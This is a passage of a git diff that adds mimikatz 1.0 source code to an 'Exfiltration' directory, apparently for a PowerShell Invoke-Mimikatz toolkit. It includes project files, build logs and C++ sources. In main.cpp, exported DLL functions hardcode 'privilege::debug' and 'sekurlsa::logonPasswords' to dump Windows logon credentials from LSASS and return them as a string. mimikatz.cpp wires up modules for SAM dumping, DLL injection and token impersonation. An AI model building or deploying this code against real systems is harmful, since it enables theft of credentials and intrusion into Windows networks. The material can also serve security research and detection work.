"{80532836-DE52-40AD-B373-E4098BF52E1F}" + ProjectSection(SolutionItems) = preProject + commun\icons\cmd_32.ico = commun\icons\cmd_32.ico + commun\icons\cmd_48.ico = commun\icons\cmd_48.ico + commun\icons\cmd_kiwi.ico = commun\icons\cmd_kiwi.ico + commun\icons\mimikatz_bird.ico = commun\icons\mimikatz_bird.ico + commun\icons\mimikatz_fruit.ico = commun\icons\mimikatz_fruit.ico + commun\icons\mimikatz_fruit_16.ico = commun\icons\mimikatz_fruit_16.ico + commun\icons\regedit_32.ico = commun\icons\regedit_32.ico + commun\icons\regedit_48.ico = commun\icons\regedit_48.ico + commun\icons\regedit_kiwi.ico = commun\icons\regedit_kiwi.ico + commun\icons\taskmgr_32.ico = commun\icons\taskmgr_32.ico + commun\icons\taskmgr_48.ico = commun\icons\taskmgr_48.ico + commun\icons\taskmgr_kiwi.ico = commun\icons\taskmgr_kiwi.ico + EndProjectSection +EndProject +Global + GlobalSection(SubversionScc) = preSolution + Svn-Managed = True + Manager = AnkhSVN - Subversion Support for Visual Studio + EndGlobalSection + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {2A7BA573-8751-4BC2-A8A2-EDD62F7A8AB8}.Release|Win32.ActiveCfg = Release|Win32 + {2A7BA573-8751-4BC2-A8A2-EDD62F7A8AB8}.Release|Win32.Build.0 = Release|Win32 + {2A7BA573-8751-4BC2-A8A2-EDD62F7A8AB8}.Release|x64.ActiveCfg = Release|x64 + {2A7BA573-8751-4BC2-A8A2-EDD62F7A8AB8}.Release|x64.Build.0 = Release|x64 + {D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6}.Release|Win32.ActiveCfg = Release|Win32 + {D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6}.Release|Win32.Build.0 = Release|Win32 + {D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6}.Release|x64.ActiveCfg = Release|x64 + {D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6}.Release|x64.Build.0 = Release|x64 + {3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60}.Release|Win32.ActiveCfg = Release|Win32 + {3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60}.Release|Win32.Build.0 = Release|Win32 + {3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60}.Release|x64.ActiveCfg = Release|x64 + {3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60}.Release|x64.Build.0 = Release|x64 + {6556249E-1C80-4047-A863-F608C8B8AC55}.Release|Win32.ActiveCfg = Release|Win32 + {6556249E-1C80-4047-A863-F608C8B8AC55}.Release|Win32.Build.0 = Release|Win32 + {6556249E-1C80-4047-A863-F608C8B8AC55}.Release|x64.ActiveCfg = Release|x64 + {6556249E-1C80-4047-A863-F608C8B8AC55}.Release|x64.Build.0 = Release|x64 + {E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0}.Release|Win32.ActiveCfg = Release|Win32 + {E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0}.Release|Win32.Build.0 = Release|Win32 + {E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0}.Release|x64.ActiveCfg = Release|x64 + {E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(NestedProjects) = preSolution + {D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6} = {B17EB705-1C68-44FD-A82B-860C539219A8} + {3A436EFD-4FD7-4E5F-B0EC-F9DCCACF1E60} = {B17EB705-1C68-44FD-A82B-860C539219A8} + {6556249E-1C80-4047-A863-F608C8B8AC55} = {B17EB705-1C68-44FD-A82B-860C539219A8} + {E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0} = {B17EB705-1C68-44FD-A82B-860C539219A8} + {24371643-CEFE-4590-BB29-6141CB5E25D1} = {7999D050-6332-45F7-A343-C343902B1453} + {80532836-DE52-40AD-B373-E4098BF52E1F} = {7999D050-6332-45F7-A343-C343902B1453} + EndGlobalSection +EndGlobal diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/CL.read.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/CL.read.1.tlog Binary files differnew file mode 100644 index 0000000..ce3b7c5 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/Win32/CL.read.1.tlog diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/CL.write.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/CL.write.1.tlog Binary files differnew file mode 100644 index 0000000..5b567c0 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/Win32/CL.write.1.tlog diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/cl.command.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/cl.command.1.tlog Binary files differnew file mode 100644 index 0000000..f911a97 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/Win32/cl.command.1.tlog diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/link-cvtres.read.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/link-cvtres.read.1.tlog new file mode 100644 index 0000000..46b134b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/Win32/link-cvtres.read.1.tlog @@ -0,0 +1 @@ +˙ţ
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/link-cvtres.write.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/link-cvtres.write.1.tlog new file mode 100644 index 0000000..46b134b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/Win32/link-cvtres.write.1.tlog @@ -0,0 +1 @@ +˙ţ
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.command.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.command.1.tlog Binary files differnew file mode 100644 index 0000000..88decc7 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.command.1.tlog diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.read.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.read.1.tlog Binary files differnew file mode 100644 index 0000000..8e0945c --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.read.1.tlog diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.write.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.write.1.tlog Binary files differnew file mode 100644 index 0000000..4395a0c --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.write.1.tlog diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.lastbuildstate b/Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.lastbuildstate new file mode 100644 index 0000000..4d28193 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.lastbuildstate @@ -0,0 +1,2 @@ +#v4.0:v100 +Release|Win32|C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\| diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.res b/Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.res Binary files differnew file mode 100644 index 0000000..ab3f94d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.res diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.write.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.write.1.tlog new file mode 100644 index 0000000..ee7a2bc --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.write.1.tlog @@ -0,0 +1,5 @@ +^C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\mimikatz\mimikatz.vcxproj +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\mimikatz.lib +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\mimikatz.lib +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\mimikatz.exp +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\mimikatz.exp diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.command.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.command.1.tlog Binary files differnew file mode 100644 index 0000000..7de5294 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.command.1.tlog diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.read.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.read.1.tlog Binary files differnew file mode 100644 index 0000000..a9809e1 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.read.1.tlog diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.write.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.write.1.tlog Binary files differnew file mode 100644 index 0000000..5913372 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.write.1.tlog diff --git a/Exfiltration/mimikatz-1.0/mimikatz/global.cpp b/Exfiltration/mimikatz-1.0/mimikatz/global.cpp new file mode 100644 index 0000000..365bd1a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/global.cpp @@ -0,0 +1,5 @@ +#include <ostream> +#include <iostream> +#include "global.h" + +std::wostream *outputStream = &std::wcout;
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/global.h b/Exfiltration/mimikatz-1.0/mimikatz/global.h new file mode 100644 index 0000000..4bfe000 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/global.h @@ -0,0 +1,4 @@ +#pragma once +#include <ostream> + +extern std::wostream *outputStream;
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/main.cpp b/Exfiltration/mimikatz-1.0/mimikatz/main.cpp new file mode 100644 index 0000000..8862e42 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/main.cpp @@ -0,0 +1,73 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Modifications in this file made by: Joe Bialek. Twitter: @JosephBialek. + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "globdefs.h" +#include <io.h> +#include <fcntl.h> +#include "mimikatz.h" +#include <ShellAPI.h> + +int wmain(int argc, wchar_t * argv[]) +{ + setlocale(LC_ALL, "French_France.65001"); + _setmode(_fileno(stdin), _O_U8TEXT/*_O_WTEXT/*_O_U16TEXT*/); + _setmode(_fileno(stdout), _O_U8TEXT/*_O_WTEXT/*_O_U16TEXT*/); + _setmode(_fileno(stderr), _O_U8TEXT/*_O_WTEXT/*_O_U16TEXT*/); + + /*SetConsoleCP(CP_UTF8); + SetConsoleOutputCP(CP_UTF8);*/ + + vector<wstring> * mesArguments = new vector<wstring>(argv + 1, argv + argc); + + mimikatz * myMimiKatz = new mimikatz(mesArguments); + delete myMimiKatz, mesArguments; + return ERROR_SUCCESS; +} + +extern "C" __declspec ( dllexport) wchar_t* WStringFunc() +{ + wostringstream *stringStream = new wostringstream(); + outputStream = stringStream; + + vector<wstring>* mesArguments = new vector<wstring>(); + (*mesArguments).push_back(L"privilege::debug"); + (*mesArguments).push_back(L"sekurlsa::logonPasswords"); + (*mesArguments).push_back(L"exit"); + + mimikatz* myMimikatz = new mimikatz(mesArguments); + delete myMimikatz, mesArguments; + + wstring output = (*stringStream).str(); + const wchar_t* outputStr = output.c_str(); + wchar_t* out = new wchar_t[output.size() + 1]; + wcscpy(out, outputStr); + out[output.size()] = '\0'; + + return out; +} + +extern "C" __declspec ( dllexport) wchar_t* PSMimikatz(LPCWSTR input) +{ + wostringstream *stringStream = new wostringstream(); + outputStream = stringStream; + + int argc = 0; + LPWSTR* argv = CommandLineToArgvW(input, &argc); + + vector<wstring> * mesArguments = new vector<wstring>(argv, argv + argc); + + mimikatz* myMimikatz = new mimikatz(mesArguments); + delete myMimikatz, mesArguments; + + wstring output = (*stringStream).str(); + const wchar_t* outputStr = output.c_str(); + wchar_t* out = new wchar_t[output.size() + 1]; + wcscpy(out, outputStr); + out[output.size()] = '\0'; + + return out; +} + diff --git a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.cpp b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.cpp new file mode 100644 index 0000000..7265ef9 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.cpp @@ -0,0 +1,286 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mimikatz.h" + +bool mimikatz::initLocalModules() +{ + mod_system::getVersion(&mod_system::GLOB_Version); + mod_mimikatz_sekurlsa::loadLsaSrv(); + mod_cryptoapi::loadRsaEnh(); + + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"", L"Standard", mod_mimikatz_standard::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"crypto", L"Cryptographie et certificats", mod_mimikatz_crypto::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"hash", L"Hash", mod_mimikatz_hash::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"system", L"Gestion systčme", mod_mimikatz_system::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"process", L"Manipulation des processus", mod_mimikatz_process::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"thread", L"Manipulation des threads", mod_mimikatz_thread::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"service", L"Manipulation des services", mod_mimikatz_service::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"privilege", L"Manipulation des privilčges", mod_mimikatz_privilege::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"handle", L"Manipulation des handles", mod_mimikatz_handle::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"impersonate", L"Manipulation tokens d\'accčs", mod_mimikatz_impersonate::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"winmine", L"Manipulation du démineur", mod_mimikatz_winmine::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"minesweeper", L"Manipulation du démineur 7", mod_mimikatz_minesweeper::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"nogpo", L"Anti-gpo et patchs divers", mod_mimikatz_nogpo::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"samdump", L"Dump de SAM", mod_mimikatz_samdump::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"inject", L"Injecteur de librairies", mod_mimikatz_inject::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"ts", L"Terminal Server", mod_mimikatz_terminalserver::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"divers", L"Fonctions diverses n\'ayant pas encore assez de corps pour avoir leurs propres module", mod_mimikatz_divers::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"sekurlsa", L"Dump des sessions courantes par providers LSASS", mod_mimikatz_sekurlsa::getMimiKatzCommands())); + mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"efs", L"Manipulations EFS", mod_mimikatz_efs::getMimiKatzCommands())); + return true; +} + +mimikatz::mimikatz(vector<wstring> * mesArguments) : Kmimikatz(NULL) +{ + initLocalModules(); + SetConsoleTitle(MIMIKATZ_FULL); + (*outputStream) << MIMIKATZ_FULL << L"\t/* Traitement du Kiwi (" << __DATE__ << L' ' << __TIME__ << L") */" << endl << + L"// http://blog.gentilkiwi.com/mimikatz" << endl; + + bool mustContinue = true; + if(mesArguments) + { + for(vector<wstring>::iterator maCommande = mesArguments->begin(); mustContinue && (maCommande != mesArguments->end()); maCommande++) + { + wstring commande = *maCommande; + (*outputStream) << endl << MIMIKATZ << L"(commandline) # " << dec << commande << endl; + mustContinue = tryToDispatch(&commande); + } + } + + if(mustContinue) + { + wstring * monBuffer = new wstring(); + do + { + (*outputStream) << endl << MIMIKATZ << L" # " << dec; + getline(wcin, *monBuffer); + } while(tryToDispatch(monBuffer)); + delete monBuffer; + } + wcout.flush(); +} + +mimikatz::~mimikatz(void) +{ + mod_cryptoapi::unloadRsaEnh(); + mod_mimikatz_sekurlsa::unloadLsaSrv(); + mod_mimikatz_inject::closeThisCommunicator(); +} + +bool mimikatz::tryToDispatch(wstring * maLigne) +{ + bool reussite = false; + + if(!(reussite = maLigne->empty())) + { + switch(*(maLigne->begin())) + { + case L'@': + case L'*': + reussite = this->doCommandeDistante(maLigne->substr(1)); + break; + case L'!': + reussite = this->doCommandeKernel(maLigne->substr(1)); + break; + default: + wstring fonction = *maLigne; + vector<wstring> arguments; + + size_t monIndex = fonction.find(L' '); + if(monIndex != wstring::npos) + { + fonction = fonction.substr(0, monIndex); + arguments = mod_parseur::parse(maLigne->substr(monIndex + 1)); + } + reussite = doCommandeLocale(&fonction, &arguments); + } + } + + return reussite; +} + +bool mimikatz::doCommandeLocale(wstring * fonction, vector<wstring> * arguments) +{ + size_t monIndex = fonction->find(L"::"); + + wstring module = L""; + wstring commande = *fonction; + + if(monIndex != wstring::npos) + { + module = fonction->substr(0, monIndex); + commande = fonction->substr(monIndex + 2); + } + + for(vector<KIWI_MIMIKATZ_LOCAL_MODULE>::iterator monModule = mesModules.begin(); monModule != mesModules.end(); monModule++) + { + if(module == monModule->module) + { + for(vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND>::iterator maCommande = monModule->commandes.begin(); maCommande != monModule->commandes.end(); maCommande++) + { + if(commande == maCommande->commandName) + { + return maCommande->ptrCommand(arguments); + } + } + + if(module.empty()) (*outputStream) << L"Commande locale \'" << commande << L"\' introuvable" << endl; + else (*outputStream) << L"Module : \'" << module << L"\' identifié, mais commande \'" << commande << L"\' introuvable" << endl; + + (*outputStream) << endl << L"Description du module : " << monModule->description << endl; + listCommandes(monModule); + + return true; + } + } + + (*outputStream) << L"Module : \'" << module << L"\' introuvable" << endl << endl << L"Modules disponibles : " << endl; + listModules(); + return true; +} + +bool mimikatz::openKernel() +{ + bool reussite = false; + + if(!Kmimikatz || Kmimikatz == INVALID_HANDLE_VALUE) + { + (*outputStream) << L"Ouverture du pilote mimikatz : "; + Kmimikatz = CreateFile(L"\\\\.\\mimikatz", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); + + if(reussite = (Kmimikatz && Kmimikatz != INVALID_HANDLE_VALUE)) + (*outputStream) << L"OK"; + else + (*outputStream) << L"CreateFile ; " << mod_system::getWinError(); + (*outputStream) << endl; + } + else + { + reussite = true; + } + + return reussite; +} + +bool mimikatz::closeKernel() +{ + bool reussite = false; + if(Kmimikatz && Kmimikatz != INVALID_HANDLE_VALUE) + { + if(CloseHandle(Kmimikatz)) + { + Kmimikatz = NULL; + reussite = true; + } + } + return reussite; +} + +bool mimikatz::doCommandeKernel(std::wstring &commande) +{ + if(!commande.empty()) + { + if(openKernel()) + { + DWORD dwReturn; + /* + (*outputStream) << L"DEBUG WriteFile " << endl << + L"\tToWrite : " << (commande.size() + 1) * sizeof(wchar_t) << endl; + */ + if(WriteFile(Kmimikatz, commande.c_str(), (commande.size() + 1) * sizeof(wchar_t), &dwReturn, NULL)) + { + /*(*outputStream) << L"\tWriten : " << dwReturn << endl << endl;*/ + + DWORD dwBuff = 0x40000; + DWORD dwRead = 0; + BYTE * buffer = new BYTE[dwBuff]; + RtlZeroMemory(buffer, dwBuff); + + /*(*outputStream) << L"DEBUG ReadFile " << endl << + L"\tBuffSize : " << dwBuff << endl;*/ + + if(ReadFile(Kmimikatz, buffer, dwBuff, &dwRead, NULL)) + { + /*(*outputStream) << + L"\tReaded : " << dwRead << endl << + endl; + */ + wcout /*<< L"BUFF : " << endl*/ + << reinterpret_cast<wchar_t *>(buffer) << endl; + } + else (*outputStream) << L"ReadFile : " << mod_system::getWinError() << endl; + + delete[] buffer; + } + else (*outputStream) << L"WriteFile : " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"Impossible de communiquer avec le pilote mimikatz"; + } + else + { + (*outputStream) << L"Commande vide (fermeture forcée) reçue" << endl; + closeKernel(); + } + + return true; +} + +bool mimikatz::doCommandeDistante(std::wstring &commande) +{ + bool commOk = false; + + if(mod_mimikatz_inject::monCommunicator) + { + if(!commande.empty()) + { + if(mod_mimikatz_inject::monCommunicator->isConnected()) + { + if(mod_mimikatz_inject::monCommunicator->writeToPipe(commande)) + { + wstring buffer = L""; + do + { + if(commOk = mod_mimikatz_inject::monCommunicator->readFromPipe(buffer)) + { + (*outputStream) << buffer.substr(1) ; + } + else + { + (*outputStream) << L"Erreur : pas de réponse possible ; " << mod_system::getWinError() << endl; + break; + } + } while(*(buffer.begin()) == L'#'); + } + else (*outputStream) << L"Erreur : pas d\'écriture possible ; " << mod_system::getWinError() << endl; + } + } + else (*outputStream) << L"Commande vide (déconnexion forcée) reçue" << endl; + } + else (*outputStream) << L"Erreur : pas ou plus de communication établie" << endl; + + if(!commOk) + mod_mimikatz_inject::closeThisCommunicator(); + + return true; +} + +void mimikatz::listModules() +{ + for(vector<KIWI_MIMIKATZ_LOCAL_MODULE>::iterator monModule = mesModules.begin(); monModule != mesModules.end(); monModule++) + { + (*outputStream) << setw(12) << setfill(wchar_t(' ')) << monModule->module << L"\t- " << monModule->description << endl; + } +} + +void mimikatz::listCommandes(vector<KIWI_MIMIKATZ_LOCAL_MODULE>::iterator monModule) +{ + for(vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND>::iterator maCommande = monModule->commandes.begin(); maCommande != monModule->commandes.end(); maCommande++) + { + if(maCommande->commandName.front() != L':') + (*outputStream) << setw(12) << setfill(wchar_t(' ')) << maCommande->commandName << L"\t- " << maCommande->commandHelp << endl; + } +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.h b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.h new file mode 100644 index 0000000..2973368 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.h @@ -0,0 +1,57 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_parseur.h" +#include "mod_pipe.h" +#include "mod_process.h" +#include "mod_system.h" + +#include "modules/mod_mimikatz_standard.h" +#include "modules/mod_mimikatz_crypto.h" +#include "modules/mod_mimikatz_hash.h" +#include "modules/mod_mimikatz_system.h" +#include "modules/mod_mimikatz_process.h" +#include "modules/mod_mimikatz_thread.h" +#include "modules/mod_mimikatz_service.h" +#include "modules/mod_mimikatz_privilege.h" +#include "modules/mod_mimikatz_handle.h" +#include "modules/mod_mimikatz_winmine.h" +#include "modules/mod_mimikatz_minesweeper.h" +#include "modules/mod_mimikatz_nogpo.h" +#include "modules/mod_mimikatz_samdump.h" +#include "modules/mod_mimikatz_inject.h" +#include "modules/mod_mimikatz_terminalserver.h" +#include "modules/mod_mimikatz_divers.h" +#include "modules/mod_mimikatz_impersonate.h" +#include "modules/mod_mimikatz_sekurlsa.h" +#include "modules/mod_mimikatz_efs.h" +#include "global.h" + +class mimikatz +{ +private: + static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands(); + vector<KIWI_MIMIKATZ_LOCAL_MODULE> mesModules; + bool initLocalModules(); + bool tryToDispatch(wstring * maLigne); + bool doCommandeLocale(wstring * fonction, vector<wstring> * arguments); + bool doCommandeDistante(std::wstring &commande); + bool doCommandeKernel(std::wstring &commande); + + bool openKernel(); + bool closeKernel(); + + void listModules(); + void listCommandes(vector<KIWI_MIMIKATZ_LOCAL_MODULE>::iterator monModule); + + HANDLE Kmimikatz; + +public: + mimikatz(vector<wstring> * mesArguments = NULL); + virtual ~mimikatz(void); +}; + diff --git a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.rc b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.rc Binary files differnew file mode 100644 index 0000000..85dd98f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.rc diff --git a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj new file mode 100644 index 0000000..5c0f138 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj @@ -0,0 +1,228 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{2A7BA573-8751-4BC2-A8A2-EDD62F7A8AB8}</ProjectGuid> + <Keyword>Win32Proj</Keyword> + <RootNamespace>mimikatz</RootNamespace> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>Unicode</CharacterSet> + <UseOfMfc>Static</UseOfMfc> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>Unicode</CharacterSet> + <UseOfMfc>Static</UseOfMfc> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <LinkIncremental>false</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\</OutDir> + <IntDir>$(Platform)\</IntDir> + <GenerateManifest>false</GenerateManifest> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <LinkIncremental>false</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\</OutDir> + <IntDir>$(Platform)\</IntDir> + <GenerateManifest>false</GenerateManifest> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader>NotUsing</PrecompiledHeader> + <Optimization>Full</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;PSAPI_VERSION=1;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <AdditionalIncludeDirectories>$(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> + <MultiProcessorCompilation>true</MultiProcessorCompilation> + <FloatingPointModel>Fast</FloatingPointModel> + <FloatingPointExceptions>false</FloatingPointExceptions> + <CreateHotpatchableImage>false</CreateHotpatchableImage> + <StringPooling>true</StringPooling> + <ExceptionHandling>false</ExceptionHandling> + <FavorSizeOrSpeed>Size</FavorSizeOrSpeed> + <ErrorReporting>None</ErrorReporting> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalDependencies>psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;shell32.lib</AdditionalDependencies> + <GenerateDebugInformation>false</GenerateDebugInformation> + <LinkErrorReporting>NoErrorReport</LinkErrorReporting> + </Link> + <ResourceCompile> + 